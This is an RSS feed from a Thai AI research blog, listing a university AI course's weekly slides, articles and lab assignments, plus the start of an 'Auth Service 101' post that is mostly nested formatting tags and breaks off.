<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[PJJOP]]></title><description><![CDATA[AI and NLP Research]]></description><link>https://blog.pjjop.org/</link><image><url>https://blog.pjjop.org/favicon.png</url><title>PJJOP</title><link>https://blog.pjjop.org/</link></image><generator>Ghost 5.59</generator><lastBuildDate>Wed, 08 Apr 2026 12:34:23 GMT</lastBuildDate><atom:link href="https://blog.pjjop.org/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[ปัญญาประดิษฐ์ (ฉบับปรับปรุง)]]></title><description><![CDATA[<p><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em><br><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em><br><em><em><em><em>&#xE04;&#xE13;&#xE30;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/payyaapradisth-chbabprabprung/</link><guid isPermaLink="false">6881c7df0325e40001ecd5d9</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Thu, 24 Jul 2025 06:15:15 GMT</pubDate><media:content url="https://blog.pjjop.org/content/images/2025/07/321804365_204aa283-936a-4880-9f70-7a326c9a19c4-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.pjjop.org/content/images/2025/07/321804365_204aa283-936a-4880-9f70-7a326c9a19c4-1.jpg" alt="&#xE1B;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE14;&#xE34;&#xE29;&#xE10;&#xE4C; (&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07;)"><p><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em><br><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em><br><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em><br><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></p><p><strong>&#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32;</strong></p><p>&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE14;&#xE34;&#xE29;&#xE10;&#xE4C;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19; &#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE43;&#xE19;&#xE1B;&#xE23;&#xE34;&#xE20;&#xE39;&#xE21;&#xE34;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30; &#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; &#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; &#xE27;&#xE34;&#xE28;&#xE27;&#xE01;&#xE23;&#xE23;&#xE21;&#xE04;&#xE38;&#xE13;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE14;&#xE34;&#xE29;&#xE10;&#xE4C;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; &#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE1E;&#xE23;&#xE48;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE04;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE25;&#xE07;&#xE15;&#xE32;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0A;&#xE31;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE38;&#xE48;&#xE21; &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE23;&#xE32;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49; &#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE40;&#xE23;&#xE01;&#xE39;&#xE25;&#xE32;&#xE23;&#xE4C;&#xE44;&#xE23;&#xE40;&#xE0B;&#xE0A;&#xE31;&#xE19; &#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE25;&#xE36;&#xE01; &#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE39;&#xE0D;&#xE40;&#xE2A;&#xE35;&#xE22; &#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25;&#xE14;&#xE49;&#xE27;&#xE22;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE42;&#xE04;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49; &#xE01;&#xE32;&#xE23;&#xE16;&#xE48;&#xE32;&#xE22;&#xE42;&#xE2D;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE02;&#xE2D;&#xE07;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25; &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE19;&#xE14;&#xE49;&#xE32;&#xE19;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33; &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE20;&#xE32;&#xE29;&#xE32;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34; &#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE48;&#xE19;&#xE40;&#xE01;&#xE21;Introduction to artificial </p><p>intelligence. The state space search in AI. Types of machine learning. Machine learning model development process. Feature engineering for artificial intelligence and machine learning. Back-propagation algorithm and stochastic gradient descent. The effects of the learning rate on model performance. Model deployment. Regularization. Deep learning. Selection of the loss function. Diagnose machine learning model performance with learning curves. Transfer learning. Applications in fields: natural language processing. Recommendation system, and Game play.</p><p><strong>Week 1</strong></p><blockquote><a href="https://plearnjai.com/aiit/?ref=blog.pjjop.org">Course Outline</a></blockquote><p><strong>Week 2</strong></p><blockquote><a href="https://plearnjai.com/aiit/week2-slide.html?ref=blog.pjjop.org">Introduction to AI &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A; (Week 2 Slide)</a></blockquote><blockquote><a href="https://plearnjai.com/eaai/ultimate-ai-timeline.html?ref=blog.pjjop.org">&#xE1B;&#xE23;&#xE30;&#xE27;&#xE31;&#xE15;&#xE34;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C; AI &#xE09;&#xE1A;&#xE31;&#xE1A;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;</a></blockquote><blockquote><a href="https://www.youtube.com/watch?v=nuPZUUED5uk&amp;ref=blog.pjjop.org">The Imitation Game</a></blockquote><blockquote><a href="https://www.bankofengland.co.uk/banknotes/polymer-50-pound-note?ref=blog.pjjop.org">Bank of England home</a></blockquote><blockquote><a href="https://suno.com/home?ref=blog.pjjop.org">&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; GenAI Suno</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/week2-article.html?ref=blog.pjjop.org">Search &amp; Pathfinding in AI : &#xE08;&#xE32;&#xE01;&#xE2D;&#xE31;&#xE25;&#xE01;&#xE2D;&#xE23;&#xE34;&#xE17;&#xE36;&#xE21;&#xE04;&#xE25;&#xE32;&#xE2A;&#xE2A;&#xE34;&#xE01;&#xE2A;&#xE39;&#xE48;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE21;&#xE31;&#xE22;&#xE43;&#xE2B;&#xE21;&#xE48;</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/bfs_dfs_animation.html?ref=blog.pjjop.org">Animation of Search Algorithms</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/search-pathfinding.ipynb?ref=blog.pjjop.org">search-pathfinding.ipynb</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/week2-cheat-sheet.html?ref=blog.pjjop.org">OpenStreetMap NetworkX<strong> (</strong>OSMnx) Route Analysis Cheat Sheet</a></blockquote><blockquote><strong>Lab Week 2</strong> : Push Code &quot;search-pathfinding.ipynb&quot; &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; GitHub</blockquote><blockquote><strong>Assignment Week 2</strong> : &#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; &#xA0;Code &quot;search-pathfinding.ipynb&quot; &#xE41;&#xE01;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;my-search-pathfinding.ipynb&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE17;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE08;&#xE32;&#xE01;&#xE1A;&#xE49;&#xE32;&#xE19;&#xE22;&#xE31;&#xE07;&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;</blockquote><p><strong>Week 3</strong></p><blockquote><a href="https://plearnjai.com/aiit/week3-slide.html?ref=blog.pjjop.org">Introduction to Machine Learning &amp; Classification (Week3 Slide)</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/ml-week3-article.html?ref=blog.pjjop.org">Introduction to Machine Learning &amp; Classification (Article)</a></blockquote><p><strong>Week 4</strong></p><p><a href="https://plearnjai.com/aiit/week4-slide.html?ref=blog.pjjop.org">Data Preparation &#xE41;&#xE25;&#xE30; Feature Engineering (Week4 Slide)</a></p><p><a href="https://plearnjai.com/aiit/feature-engineering-guide.html?ref=blog.pjjop.org">Data Preparation &#xE41;&#xE25;&#xE30; Feature Engineering (Aticle)</a></p><p><a href="https://blog.pjjop.org/random-forest/">Random Forest</a></p><blockquote><strong>Lab Week 4</strong> : Push Code &quot;train-model.ipynb&quot;, &quot;api.ipynb&quot; &#xE41;&#xE25;&#xE30; &#xA0;&quot;client.ipynb&quot; &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; GitHub</blockquote><blockquote><strong>Assignment Week 4</strong> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;dp-and-fe-for-student-data.ipynb&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33; Data Preparation &#xE41;&#xE25;&#xE30; Feature Engineering &#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE01;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; &#xE23;&#xE31;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; GitHub</blockquote><p><strong>Week 5</strong></p><blockquote><strong>Lab Week 4</strong> : Push Code &quot;train-model.ipynb&quot;, &quot;api.ipynb&quot; &#xE41;&#xE25;&#xE30; &#xA0;&quot;client.ipynb&quot; &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; GitHub (&#xE15;&#xE48;&#xE2D;)</blockquote><blockquote><a href="https://plearnjai.com/aiit/week5-slides.html?ref=blog.pjjop.org">Neural Network Fundamentals (Week5 Slide)</a></blockquote><p><strong>Week 6</strong></p><blockquote><a href="https://plearnjai.com/aiit/week6_slide.html?ref=blog.pjjop.org">&#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE20;&#xE32;&#xE1E; X-ray &#xE14;&#xE49;&#xE27;&#xE22; AI (Week6 Slide)</a></blockquote><blockquote><a href="https://plearnjai.com/aiit/week6_article.html?ref=blog.pjjop.org">&#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE20;&#xE32;&#xE1E; X-ray &#xE14;&#xE49;&#xE27;&#xE22; CNN &#xE41;&#xE25;&#xE30; LLM (Article)</a></blockquote><blockquote><a href="https://blog.pjjop.org/p/9bf8ba13-5f77-4bea-af2a-153c46ef3d3f/">Explainable AI : &#xE01;&#xE32;&#xE23;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE20;&#xE32;&#xE1E; X-ray &#xE14;&#xE49;&#xE27;&#xE22; CNN &#xE41;&#xE25;&#xE30; LLM (Article + Code)</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>6</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;XAI-</em>pneumonia.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github</blockquote><p><strong>Week 7</strong></p><p><a href="https://blog.pjjop.org/visualizing-filters-and-feature-maps-in-deep-learning-cnn/">Visualizing Kernels and Feature Maps in Deep Learning Model (CNN)</a></p><p><strong><em>Lab<strong> Week </strong>7</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;</em>vis_cnn.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github</p><p><strong>Week 8</strong></p><blockquote><a href="https://blog.pjjop.org/p/1715a2ca-b999-41d8-b83a-8a0ce434a33e/">Learning Rate Scheduling and Adam Optimizer</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>8</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;lr</em>_adam.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github</blockquote><p><strong>Week 9</strong></p><blockquote><a href="https://blog.pjjop.org/p/773098a0-8fae-4bdb-a054-f57e338fb1a2/">Regularization in Practice</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>9</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;r</em>egularization.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github</blockquote><p><strong>Week 10</strong></p><blockquote><a href="https://blog.pjjop.org/p/e80d18ed-511d-4db5-86bb-5322b84e6dc3/">Transformer Basics 1</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>10</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;transformer-basic1</em>.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github (git commit -m &quot;lab-week10&quot;)</blockquote><p><strong>Week 11</strong></p><blockquote><a href="https://blog.pjjop.org/p/6b16f949-802b-4a62-b65a-6fd537485830/">Transformer Basics 2</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>11</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;transformer-basic2</em>.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github (git commit -m &quot;lab-week11&quot;)</blockquote><p><strong>Week 12</strong></p><blockquote><a href="https://blog.pjjop.org/p/413b07d9-d626-456e-8c96-268d80848916/">Transformer Basics 3</a></blockquote><blockquote><strong><em>Lab<strong> Week </strong>12</em></strong><em> : &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xA0;&quot;transformer-basic3</em>.ipynb&quot; &#xE23;&#xE31;&#xE19;&#xE15;&#xE32;&#xE21; Lab &#xE43;&#xE19;&#xE2B;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27; Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github (git commit -m &quot;lab-week12&quot;)</blockquote><p><strong>Week 13</strong></p><p><a href="https://blog.pjjop.org/p/eb4c17e8-8287-4d88-ac71-a79f27c8ce54/">AI Agent</a></p><p><strong>Bonus</strong></p><blockquote><a href="https://blog.pjjop.org/p/b97adf02-372c-4e48-bcf6-cfab056c0a9f/?fbclid=IwY2xjawNeZrxleHRuA2FlbQIxMQABHiHvcsVoMHL2SaXes8eq4O7nLpRX1KsRaYhQFkLOHnGx32hvJ1Gr2MZrfp-0_aem_QYIuWvEisQvyaFXKHs6-Dw">Customer Insight Extraction using LLMs</a></blockquote>]]></content:encoded></item><item><title><![CDATA[Auth Service 101]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-03-at-21.04.23.png" class="kg-image" alt loading="lazy" width="2000" height="1342" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-03-at-21.04.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-03-at-21.04.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-03-at-21.04.23.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-03-at-21.04.23.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><e